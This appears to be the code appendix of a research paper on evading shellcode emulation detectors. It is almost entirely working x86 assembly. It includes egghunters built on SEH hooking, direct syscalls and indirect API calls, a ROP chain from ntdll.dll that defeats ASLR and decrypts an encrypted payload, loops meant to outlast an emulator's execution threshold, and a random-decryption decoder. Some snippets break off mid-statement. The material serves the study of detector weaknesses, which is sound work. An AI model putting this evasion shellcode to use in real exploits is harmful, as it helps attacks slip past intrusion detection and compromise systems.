  mov word [edi+5],0xE0FF ; jmp eax 
 
  ; If we want to be able to later restore the original handler, we could backup the first 6 bytes 
but for our purposes that doesn't matter 
 
;========================================== 
; Now we start scanning for the egg 
;========================================== 
 
  mov eax,0xCAFECAFE ; egg 
  xor ebx, ebx ; ebx = 0 
 
loopin: 
  push byte 0x2 ; loop length 2 
  pop ecx 
  mov edi,ebx ; edi = ebx 
  repe scasd ; compare 8 bytes in edi with eax. ebx invalid => trigger handler 
  jnz next ; not equal? next 
  jmp edi ; equal? found it 
  or bx,0xfff ; return here from handler, go to next page 
next: 
  inc ebx 
  jmp short loopin 
 
gethandler: 
  call gothandler 
 
handler: 
  push byte 0xC 
  pop ecx ; ecx = c 
  mov eax,[esp+ecx] ; eax = address of offending instruction 
  mov cl,0xB8 
  add dword [eax+ecx],byte 0x6 ; six bytes past offending instruction (= address of or bx,0xfff) 
  pop eax 
  add esp,byte +0x10 
  push eax 
  xor eax,eax 
  ret 
end_handler: 
  oldProtect dd 0x41414141 
  ; this can be specified by the attacker using a list or by resolving the address using one of the 
techniques that don't trigger nemu we used (SEH stack-walking and stackframe walking) 





1. Non-blacklisted SYSCALLs 
 
; WoW64 compatibility thanks to https://www.corelan.be/index.php/2011/11/18/wow64-
egghunter/ 
PAGE_NOACCESS           EQU  0x01 
 
PAGE_READONLY           EQU  0x02 
PAGE_READWRITE          EQU  0x04 
PAGE_WRITECOPY          EQU  0x08 
  ;PAGE_EXECUTE            EQU  0x10 
PAGE_EXECUTE_READ       EQU  0x20 
PAGE_EXECUTE_READWRITE  EQU  0x40 
PAGE_EXECUTE_WRITECOPY  EQU  0x80 
 
  xor ebx,ebx 
 
egghunt: 
  or bx,0xfff 
nextone: 
  inc ebx 
 
  push ebx 
 
    sub esp,0x1c ; reserve space on stack for MEMORY_BASIC_INFORMATION 
 
    xor ecx,ecx 
    mov cl,0x1C 
  zero: 
    xor eax,eax 
    mov al,byte [esp+ecx-1] 
    xor byte [esp+ecx-1],al 
  loop zero 
 
    mov eax,esp 
 
    push byte 0x1c ; sizeof(MEMORY_BASIC_INFORMATION) 
    push eax ; MEMORY_BASIC_INFORMATION Buffer 
    push byte 0 ; MemoryBasicInformation 
    push ebx ; BaseAddress 
    push byte -0x1 ; processhandle 
 
 
    xor ebx,ebx 
    mov bx, cs ; check if cs:23 indicates we are under WoW64 
    cmp bl, 0x23 
    jnz egg32 
 
  wow64: 
 
    push 0x20 ; syscall # for NtQueryVirtualMemory on Win7 (WoW64) 
    pop eax 
 
    xor ecx,ecx 
    mov edx,esp 
    xor ebx,ebx 
    mov bl,0xC0 
    call [fs:ebx] 
    jmp short hunting 
 
  egg32: 
 
    push word 0x0b2 ; syscall # for NtQueryVirtualMemory on XP 
    pop eax 
    mov edx,esp 
    int 0x2E 
 
  hunting: 
 
    pop esi ; ret 
 
    add esp,(4*5) ; remove arguments from stack so mbi is no on top 
 
    mov esi,[esp+(4*5)] ; 6th dword holds mbi.protect 
    mov edi,[esp] ; 1st dword holds region base address 
    add edi,[esp+(4*3)] ; 4th dword holds region size 
    add esp,0x1c ; stack back to normal 
 
  pop ebx 
 
  test eax,eax ; 0 = NT_SUCCESS, otherwise number of bytes in info buffer 
  jne egghunt 
 
  sub edi,ebx ; check how much space is left between this address and end of region 
  cmp edi,8 
  jb egghunt ; must be at least 2 dwords! 
 
  mov eax,esi 
 
  push ebx 
 
  xor esi,esi 
  xor ebx,ebx 
  mov bl,2 
 
  xor ecx,ecx 
  mov cl,7 
 
  ;pass = ((mbi.Protect & PAGE_READONLY) || (mbi.Protect & PAGE_READWRITE) || (mbi.Protect 
& PAGE_WRITECOPY) || (mbi.Protect & PAGE_EXECUTE_READ) || (mbi.Protect & 
PAGE_EXECUTE_READWRITE) || (mbi.Protect & PAGE_EXECUTE_WRITECOPY)) 
 
  check_loop: 
    cmp bl,0x10 ; PAGE_EXECUTE 
    je next_iteration ; skip because only EXECUTE rights isn't good 
    push eax 
    and eax,ebx ; mbi.protect & FLAG 
    or esi,eax ; condition |= (mbi.protect & FLAG) 
    pop eax 
  next_iteration: 
    shl ebx,1 
  loop check_loop 
 
  pop ebx 
 
  test esi,esi 
  jz egghunt 
 
  mov eax,0xCAFECAFE 
  mov edi,ebx 
  scasd 
  jnz nextone 
  scasd 
  jnz nextone 





PAGE_NOACCESS           EQU  0x01 
 
PAGE_READONLY           EQU  0x02 
PAGE_READWRITE          EQU  0x04 
PAGE_WRITECOPY          EQU  0x08 
  ;PAGE_EXECUTE            EQU  0x10 
PAGE_EXECUTE_READ       EQU  0x20 
PAGE_EXECUTE_READWRITE  EQU  0x40 
PAGE_EXECUTE_WRITECOPY  EQU  0x80 
  xor ebx,ebx 
 
egghunt: 
  or bx,0xfff 
nextone: 
  inc ebx 
 
  sub esp,0x1c ; reserve space on stack for MEMORY_BASIC_INFORMATION 
  mov eax,esp 
 
  push byte 0x1c ; sizeof(MEMORY_BASIC_INFORMATION) 
  push eax ; address of buffer to hold 
  push ebx 
 
  mov eax,0x753c4422 ; VirtualQuery 
  call eax 
 
  mov esi,[esp+(4*5)] ; 6th dword holds mbi.protect 
  mov edi,[esp] ; 1st dword holds region base address 
  add edi,[esp+(4*3)] ; 4th dword holds region size 
  add esp,0x1c ; stack back to normal 
 
  test eax,eax ; 0 = fail, otherwise number of bytes in info buffer 
  je egghunt 
 
  sub edi,ebx ; check how much space is left between this address and end of region 
  cmp edi,8 
  jb egghunt ; must be at least 2 dwords! 
 
  mov eax,esi 
   push ebx 
 
  xor esi,esi 
  xor ebx,ebx 
  mov bl,2 
 
  xor ecx,ecx 
  mov cl,7 
 
  ;pass = ((mbi.Protect & PAGE_READONLY) || (mbi.Protect & PAGE_READWRITE) || (mbi.Protect 
& PAGE_WRITECOPY) || (mbi.Protect & PAGE_EXECUTE_READ) || (mbi.Protect & 
PAGE_EXECUTE_READWRITE) || (mbi.Protect & PAGE_EXECUTE_WRITECOPY)) 
 
  check_loop: 
    cmp bl,0x10 ; PAGE_EXECUTE 
    je next_iteration ; skip because only EXECUTE rights isn't good 
    push eax 
    and eax,ebx ; mbi.protect & FLAG 
    or esi,eax ; condition |= (mbi.protect & FLAG) 
    pop eax 
  next_iteration: 
    shl ebx,1 
  loop check_loop 
 
  pop ebx 
 
  test esi,esi 
  jz egghunt 
 
  mov eax,0xCAFECAFE 
  mov edi,ebx 
  scasd 
  jnz nextone 
  scasd 
  jnz nextone 





3. Indirect API calls 
 
PAGE_NOACCESS           EQU  0x01 
 PAGE_READONLY           EQU  0x02 
PAGE_READWRITE          EQU  0x04 
PAGE_WRITECOPY          EQU  0x08 
  ;PAGE_EXECUTE            EQU  0x10 
PAGE_EXECUTE_READ       EQU  0x20 
PAGE_EXECUTE_READWRITE  EQU  0x40 
PAGE_EXECUTE_WRITECOPY  EQU  0x80 
 
  xor ebx,ebx 
 
egghunt: 
  or bx,0xfff 
nextone: 
  inc ebx 
 
  sub esp,0x1c ; reserve space on stack for MEMORY_BASIC_INFORMATION 
  mov eax,esp 
 
  push byte 0x1c ; sizeof(MEMORY_BASIC_INFORMATION) 
  push eax ; address of buffer to hold 
  push ebx 
 
  jmp over 
  ;mov eax,0x764043fa ; VirtualQuery 
  ;call eax 
 
VirtualQuery:   
  mov edi,edi 
  push ebp 
  mov ebp,esp 
  pop ebp 
   
  mov eax,0x753C4428 ; = a few instructions into VirtualQuery 
  jmp eax 
 
over: 
  call VirtualQuery 
 
  mov esi,[esp+(4*5)] ; 6th dword holds mbi.protect 
  mov edi,[esp] ; 1st dword holds region base address 
  add edi,[esp+(4*3)] ; 4th dword holds region size 
  add esp,0x1c ; stack back to normal 
 
  test eax,eax ; 0 = fail, otherwise number of bytes in info buffer 
  je egghunt 
 
  sub edi,ebx ; check how much space is left between this address and end of region 
  cmp edi,8 
  jb egghunt ; must be at least 2 dwords! 
 
  mov eax,esi 
 
  push ebx 
 
  xor esi,esi 
  xor ebx,ebx 
  mov bl,2 
 
  xor ecx,ecx 
  mov cl,7 
 
  ;pass = ((mbi.Protect & PAGE_READONLY) || (mbi.Protect & PAGE_READWRITE) || (mbi.Protect 
& PAGE_WRITECOPY) || (mbi.Protect & PAGE_EXECUTE_READ) || (mbi.Protect & 
PAGE_EXECUTE_READWRITE) || (mbi.Protect & PAGE_EXECUTE_WRITECOPY)) 
 
  check_loop: 
    cmp bl,0x10 ; PAGE_EXECUTE 
    je next_iteration ; skip because only EXECUTE rights isn't good 
    push eax 
    and eax,ebx ; mbi.protect & FLAG 
    or esi,eax ; condition |= (mbi.protect & FLAG) 
    pop eax 
  next_iteration: 
    shl ebx,1 
  loop check_loop 
 
  pop ebx 
 
  test esi,esi 
  jz egghunt 
 
  mov eax,0xCAFECAFE 
  mov edi,ebx 
  scasd 
  jnz nextone 
  scasd 
  jnz nextone 
  jmp edi 
 
payload: 
3 INTRINSIC LIMITATIONS 
3.1 NON-SELF-CONTAINED SHELLCODE 
3.1.1 Return-Oriented-Programming (ROP) 
 
1. ROP (linux, scexec target application): 
 
getPC: 
  mov eax,0x08048522 ; address of gadget (mov ebx, dword [esp] ; ret) 
  call eax 
  ; ebx now holds EIP 
 
2. ROP (windows, scrun target application): 
 
  ; Use stack-frame walking to get ntdll.dll image base to bypass ASLR problems 
  push esi 
  push ecx 
 
  mov eax,ebp 
  stack_walking: 
    mov esi,eax 
    lodsd 
    mov ecx,[eax] 
    test ecx,ecx 
  jnz stack_walking 
  ; esi now points to last stack frame (and since lodsd increments esi by 4 it points to function in 
ntdll.dll) 
  mov edx,[esi] 
 
  find_begin: 
    dec edx 
    xor dx,dx     ; work through image until we find base address 
    cmp word [edx],0x5A4D ; MZ start of PE header 
  jnz find_begin 
 
  pop ecx 
  pop esi 
 
; edx points to ntdll.dll base address 
 
;------------------------------------------------------------------ 
; ROP gadgets extracted from ntdll.dll (on x86 under windows 7) 
; 
; ntdll is ASLR-enabled 
; 









  lea eax,[edx+0x5CF51] ; 0x5CF51 is the offset of gadget [jmp edi] 
  push eax 
 
  lea eax,[edx+0x2DF99] ; 0x2DF99 is the offset of gadget [pop edi ; ret] 
 
  call eax ; address of getpc on the stack, control flow to first gadget 
getpc: 
  ; edi now holds address of getpc 
 
;============================ 




  ; assume: edi = GetPC & edx = ntdll.dll base address 
  ; 
  ; pop esi ; esi = -length decoder + 0x5D (to compensate for adding it later) 
  ; pop ecx ; ecx = (length shellcode / 4) (no +1 because of way decoder loop works) 
  ; pop ebx ; ebx = crypt key 
  ; sub edi,esi ; edi = address of start of encrypted payload 
  ; 
  ; xchg esi, edi ; esi = address of start of encrypted payload 
  ; dec ecx ; ecx = (length of shellcode / 4) 
  ; 
  ; decoder loop is located below, last address here is address of decoder loop 
 
; edx = ntdll.dll base address because it isn't clobbered by decoder 
; edi = GetPC because of sub edi, esi instruction 
  
; This sequence could be made more compact by making a loop reading the offsets from a table 
and doing the pushing sequence 
 
lea eax,[edi + (decoder_loop - getpc)] ; ebx = address of decoder_loop 
push eax 
 
lea eax,[edx+0x459CC] ; 0x459CC is offset to ROP gadget [xchg esi, edi ; dec ecx; ret] 
push eax 
 
lea eax,[edx+0x7C403] ; 0x7C403 is offset to ROP gadget [sub edi, esi ; retn 0] 
push eax 
 
push 0xAABBCCDD ; crypto key 
 
lea eax,[edx+0x32695] ; 0x32695 is offset to ROP gadget [pop ebx ; ret] 
push eax 
 
push (((payload_end - payload_start) / 4)) ; size of payload in dwords (no +1 because the dec ecx 
instruction in the gadgets gets compensated by the fact that the decoder loop check is at the 
end of the iteration) 
 
lea eax,[edx+0xC3631] ; 0xC3631 is offset to ROP gadget [pop ecx ; ret] 
push eax 
 
lea eax,[edx+0x37CF6] ; 0x37CF6 is offset to ROP gadget [pop esi ; ret] 
push (-(payload_start - getpc) + 0x5D) ; offset to start address of payload (- 0x5D because of sub 






  ;====================== 
  ; General ROP sketch to divert flow based on if ecx = 0 (for loop counter) because we can't use 
conditional jumps or loop instructions 
  ;====================== 
  ;xor eax,eax ; eax = 0 
  ;neg ecx ; ecx = 0 => CF = 0, ecx != 0 => CF = 1 
  ;adc eax,eax ; CF = 0 => eax = 0, CF = 1 => eax = 1 
  ;neg eax ; eax = 0 => eax = 0, eax = 1 => eax = 0xFFFFFFFF 
  ;and eax,4 ; eax = 0 => eax = 0, eax = 0xFFFFFFFF => eax = DELTA 
  ;add esp,eax ; divert control flow 
   ;============================= 
  ; Using gadgets from ntdll.dll we get the following decoder loop 
  ;============================= 
 
  ; xor dword [esi+0x5D], ebx ; decrypt dword at esi+0x5D 
  ; pop esi 
  ; mov eax, ecx 
  ; neg eax 
  ; adc esi, esi 
  ; mov eax, esi 
  ; pop esi 
  ; neg eax 
  ; pop ecx 
  ; and eax, ecx 
  ; xchg eax, ebp 
  ; xchg ecx, ebp 
  ; add esp, ecx 
    ; pop ecx for all iterations but the last one 
 
 
  ; -------------------------------- 
  ; ecx gets clobbered so we take care of restoring it (and decreasing it by one each iteration) 
  ; -------------------------------- 
 
  mov eax,[esp-4] ; 1 dwords before on stack contains address of decoder_loop 
  push eax ; address of decoder_loop, will be return address if DELTA is added 
 
  mov eax,ecx 
  dec eax 
  push eax ; ecx - 1 in anticipation of end of loop ('restore' from clobbering) 
 
  push 0xCAFECAFE ; filler DWORD, if DELTA is added it will compensate for retn 0x4 
 
  lea eax,[edx+0xC3631] ; 0xC3631 is offset to ROP gadget [pop ecx ; ret] 
  push eax ; restore + dec ecx if DELTA is added to esp, else (last iteration) ignore 
 
  mov eax,[esp+12] ; 3 dword afters on stack contains freshly pushed address of decoder_loop 
  sub eax,-(payload_start - decoder_loop) ; now eax holds address of payload_start 
  push eax ; address of payload_start, will be return address if DELTA is not added (final iteration 
where ecx = 0), else gets popped into ebp 
 
  push 0xCAFECAFE ; filler DWORD, if DELTA is added it will be skipped, else it will get popped 
into ebp 
   lea eax,[edx+0xCF673] ; 0xCF673 is offset to ROP gadget [add esp, ecx ; pop ebp ; retn 0x4] 
  push eax 
 
  lea eax,[edx+0x51F63] ; 0x51F63 is offset to ROP gadget [xchg ecx, ebp; ret] 
  push eax 
 
  lea eax,[edx+0x2F97E] ; 0x2F97E is offset to ROP gadget [xchg eax, ebp; ret] 
  push eax 
 
  push 0xCAFECAFE ; filler DWORD to compensate for pop ebp 
 
  lea eax,[edx+0x5045B] ; 0x5045B is offset to ROP gadget [and eax, ecx ; pop ebp ; ret] 
  push eax 
 
  push 4 ; DELTA to modify control flow depending on if ecx = 0 
 
  lea eax,[edx+0xC3631] ; 0x is offset to ROP gadget [pop ecx ; ret] 
  push eax 
 
  ; -------------------------------- 
 
  push 0xCAFECAFE ; filler DWORD to compensate for pop ebp 
 
  lea eax,[edx+0x2EB6A] ; 0x2EB6A is offset to ROP gadget [neg eax ; pop ebp ; ret] 
  push eax 
 
  ; -------------------------------- 
  ; esi gets clobbered here, we restore it (and increase it by 4 each iteration) by abusing pop esi 
in gadget 
  ; -------------------------------- 
 
  mov eax,esi ; esi = address of payload_start - 0x5D 
  sub eax,-4 ; eax = address + 4 (for XORing next dword since this gets popped into esi) 
  push eax 
 
  lea eax,[edx+0xA03D0] ; 0xA03D0 is offset to ROP gadget [mov eax, esi ; pop esi ; ret] 
  push eax 
 
  lea eax,[edx+0xDAAD7] ; 0xDAAD7 is offset to ROP gadget [adc esi, esi ; ret] 
  push eax 
 
  push 0xCAFECAFE ; filler DWORD to compensate for pop ebp 
 
  lea eax,[edx+0x2EB6A] ; 0x2EB6A is offset to ROP gadget [neg eax ; pop ebp ; ret] 
  push eax 
 
  lea eax,[edx+0x831D5] ; 0x831D5 is offset to ROP gadget [mov eax, ecx ; ret] 
  push eax 
 
  push 0 ; esi = 0 
 
  push 0xCAFECAFE ; bogus dword to compensate for retn 4 in xor gadget 
 
  lea eax,[edx+0x37CF6] ; 0x37CF6 is offset to ROP gadget [pop esi ; ret] 
  push eax 
 
  ; -------------------------------- 
 
  lea eax,[edx+0xC2BE7] ; 0xC2BE7 is offset to ROP gadget [xor dword [esi+0x5D], ebx; retn 4] 
  push eax 
 






; Gadgets used from ntdll.dll 
;================================ 
;0x7dea7cf6: pop esi ; ret  ;  (21 found) 
;0x7df33631: pop ecx ; ret  ;  (2 found) 
;0x7dea2695: pop ebx ; ret  ;  (30 found) 
;0x7deec403: sub edi, esi ; retn 0x0000 ;  (1 found) 
;0x7deb59cc: xchg esi, edi ; dec ecx ; ret  ;  (2 found) 
;0x7df32be7: xor dword [esi+0x5D], ebx ; retn 0x0004 ;  (1 found) 
;0x7df0d2da: lodsd  ; ret  ;  (1 found) 
;================================ 
3.2 EXECUTION THRESHOLD 
3.2.1 Loops 
1. Opaque loops 
  ; 0xFFFFFF * first loop, 0x03FFFF * second loop, 0x01FFFF * third loop, 1 * first loop, 0x01FFFF * 
second loop, 0x03FFFF * third loop 
 
  mov eax,0xAABBCCDD 
  mov ecx,0xCCFFFFFF   
  mov edx,0xAAFFFFFF 
  mov ebx,0xBBFFFFFF 
 
  outer_loop: 
 
    inner_loop_1: 
      ror eax,0x0D 
      xor eax,ecx 
      rol eax,0x0D 
    loop inner_loop_1 
 
    cmp eax,0x77999B55 
    cmove ecx, edx 
    cmovne ecx, ebx 
 
    inner_loop_2: 
      push ecx 
      ror dword [esp],0x0D 
      xor dword [esp],eax 
      rol dword [esp],0x0D 
      pop eax 
    loop inner_loop_2 
 
    cmp eax,0xDAABBCCC 
    cmove ecx, ebx 
    cmovne ecx, edx 
 
    inner_loop_3: 
      xor eax,ecx 
      rol eax,0x0A 
      xor eax,ecx 
    loop inner_loop_3 
 
    inc ecx 
 
    cmp eax,0x3336AAEF 
  jne outer_loop 
 
  push 0xC324048B       
  call esp 
getpc: 
 
2. Intensive loops 
  fldl2e 
  add esp,-4 
  fstp dword [esp] 
  pop eax 
 
  mov ecx,0x01FFFFFF 
 
  fpu_loop_1: 
    push eax 
    fld dword [esp] 
    fldpi 
    fyl2xp1 
    fsqrt 
    fstp dword [esp] 
    pop eax 
  loop fpu_loop_1 
 
  mov ecx,0x01FFFFFF 
 
  fpu_loop_2: 
    push eax 
    fld dword [esp] 
    fldl2e 
    fmul 
    fsqrt 
    fstp dword [esp] 
    pop eax 
    cmp eax,0x3FB8AA3C 
    je escape 
  loop fpu_loop_2 
    jmp intensive 
escape: 
  push 0xC324048B 
  call esp 
getpc: 
 
3. Integrated loops 
  add esp,-(4*5) ; reserve 5 DWORDs on the stack from where instructions for key_gen_loop will 
be generated and where loop length and seed will be stored 
 
  xor eax,eax 
  ;instructions 
  mov dword [esp],eax 
  mov dword [esp+4],eax 
  mov dword [esp+8],eax 
  ;looplen 
  mov dword [esp+12],eax 
  ;seed 
  mov dword [esp+16],eax 
 
  mov ecx,0x01FFFFFF 
  ;0xC340C831 = (0x61 * 0x01FFFFFF = 0xC1FFFF9F) + 0x140C892 
  ;                                        = 0xC1FFFF9F ^ 0xC0BF370D 
  ;0x0AC0C1C8 = (0x05 * 0x01FFFFFF = 0x9FFFFFB) + 0xC0C1CD 
  ;                                        = 0x9FFFFFB ^ 0x93F3E36 
  ;0x310DC8C1 = (0x18 * 0x01FFFFFF = 0x2FFFFFE8) + 0x10DC8D9 
  ;                                        = 0x2FFFFFE8 ^ 0x2EF23731 
 
  ; calculate information for key_gen_loop 
  kgl_init_loop: 
    ; calculate length of loop 
 
    ; looplen 
    mov eax,dword [esp+8] 
    xor eax,dword [esp+4] 
    xor eax,dword [esp] 
    xor eax,dword [esp+12] 
    shr eax,8 ; clear most significant byte because we don't want loop to be too long 
    mov dword [esp+12],eax 
    ; seed 
    xor eax,dword [esp+12] 
    xor dword [esp+16],eax 
 
    ; calculate instructions 
    sub dword [esp+8],-0x61 ; add 0x61 
    sub dword [esp+4],-0x05 ; add 0x05 
    sub dword [esp],-0x18 ; add 0x18 
 
  loop kgl_init_loop 
 
  ;instructions 
  mov eax,dword [esp+8] 
  xor eax,0xC0BF370D 
  add dword [esp+8],eax 
 
  mov eax,dword [esp+4] 
  xor eax,0x93F3E36 
  add dword [esp+4],eax 
 
  mov eax,dword [esp] 
  xor eax,0x2EF23731 
  add dword [esp],eax 
 
  ;looplen 
  mov ecx,dword [esp+12] 
  ;seed 
  mov eax,dword [esp+16] 
 
  ; calculate key 
 
  key_gen_loop: 
    ; instructions here result from kgl_init_loop result 
    ;ror eax,0x0D 
    ;xor eax,ecx 
    ;rol eax,0x0A 
    ;xor eax,ecx 
    ;inc eax 
    ;ret 
 
    ;push 0xC340C831 
    ;push 0x0AC0C1C8 
    ;push 0x310DC8C1 
    call esp 
 
  loop key_gen_loop 
 
  ; eax = 0x89FBFFF1 (key) 
 
  mov edx,eax ; store key in edx 
 
  ; use 1 DWORDs on the stack from where instructions for getpc_stub will be generated 
 
  xor ecx,ecx 
 
  mov dword [esp],ecx 
 
  ; length of init loop 
  sub ecx,-0xAABBC 
 
  ; 0xC324048B = (0x1249 * 0xAABBC = 0xC31E309C) + 0x5D3EF 
  ;                                                 = 0xC31E309C ^ 0xC31BE373 
 
  ; calcualte information for getpc_stub 
  gpc_init_loop: 
    ; calculate instructions based on key 
    sub dword [esp],-0x1249 ; add 0x1249 
  loop gpc_init_loop 
 
  mov eax,dword [esp] 
  xor eax,0xC31BE373 
  add dword [esp],eax ; 0xC324048B on stack now 
 
  ;push 0xC324048B (mov eax,[esp] ; ret) 
  call esp 
  getpc: 
 
3.2.2 Random Decryption Algorithm (RDA) 
  hostOffset       EQU hostLabel - getpc 
  hostSize         EQU endHostlabel - hostLabel 
  checksumValue1   EQU 0x4573F94D 
  checksumValue2   EQU 0x5A525A19 
  xor ebx,ebx ; key holding reg 
  push 0xC324048B ; replace by 0xC324048B ^ getpc_key in generator (getpc stub is static in this PoC: 
mov eax,[esp] ; ret) 
getpc_loop: 
  inc ebx ; next key 
  xor edx,edx ; checksum value register 
 
  xor [esp],ebx ; decrypt 
   
  xor ecx,ecx 
  sub ecx,-4 
  mov eax,[esp] 
 
  hash_loop1: 
    ror edx, 13 
    add edx, eax 
    ror eax, 8 
  loop hash_loop1 
 
  cmp edx,checksumValue1 
  je call_stack 
  xor [esp],ebx ; re-encrypt 
  jmp getpc_loop 
 
call_stack: 




  mov esi,eax 
 
  xor ebx,ebx ; key holding reg 
  xor edi,edi 
  sub edi,-(hostSize/4) ; hostsize 
 
  rda_loop: 
    xor eax,eax 
    dec eax ; loop flag (see if we have to recode for next round) 
 
    inc ebx ; next key 
  recode: 
    push esi ; save start address 
    inc eax ; set loop flag 
    xor edx,edx ; checksum value register 
    mov ecx,edi ; hostSize to loop counter 
  decode: 
    xor [esi + hostOffset],ebx ; decode dword 
 
    ; hash calculation 
    push ecx 
    push eax 
    xor ecx,ecx 
    sub ecx,-4 
    mov eax,[esi + hostOffset] 
 
    hash_loop:       
      ror edx, 13 
      add edx,eax  
      ror eax, 8 
    loop hash_loop 
    pop eax 
    pop ecx     
 
    sub esi, -4 ; next dword 
  loop decode 
    pop esi ; restore start address 
     
    cmp edx,checksumValue2 
    je hostLabel ; correctly decoded? 
 
    test eax,eax ; see if we have to recode/restore for next round 
    jz recode    ; re-encrypt host for proper next round 
  jmp rda_loop 
hostLabel: 
    db 0x91,0x90,0x90,0x90 
endHostlabel: 
3.3 CONTEXT-KEYED PAYLOAD ENCODING (CKPE) 
3.3.1 Regular CKPE 
See metasploit module 
3.3.2 Hash Armoring 
See metasploit module 
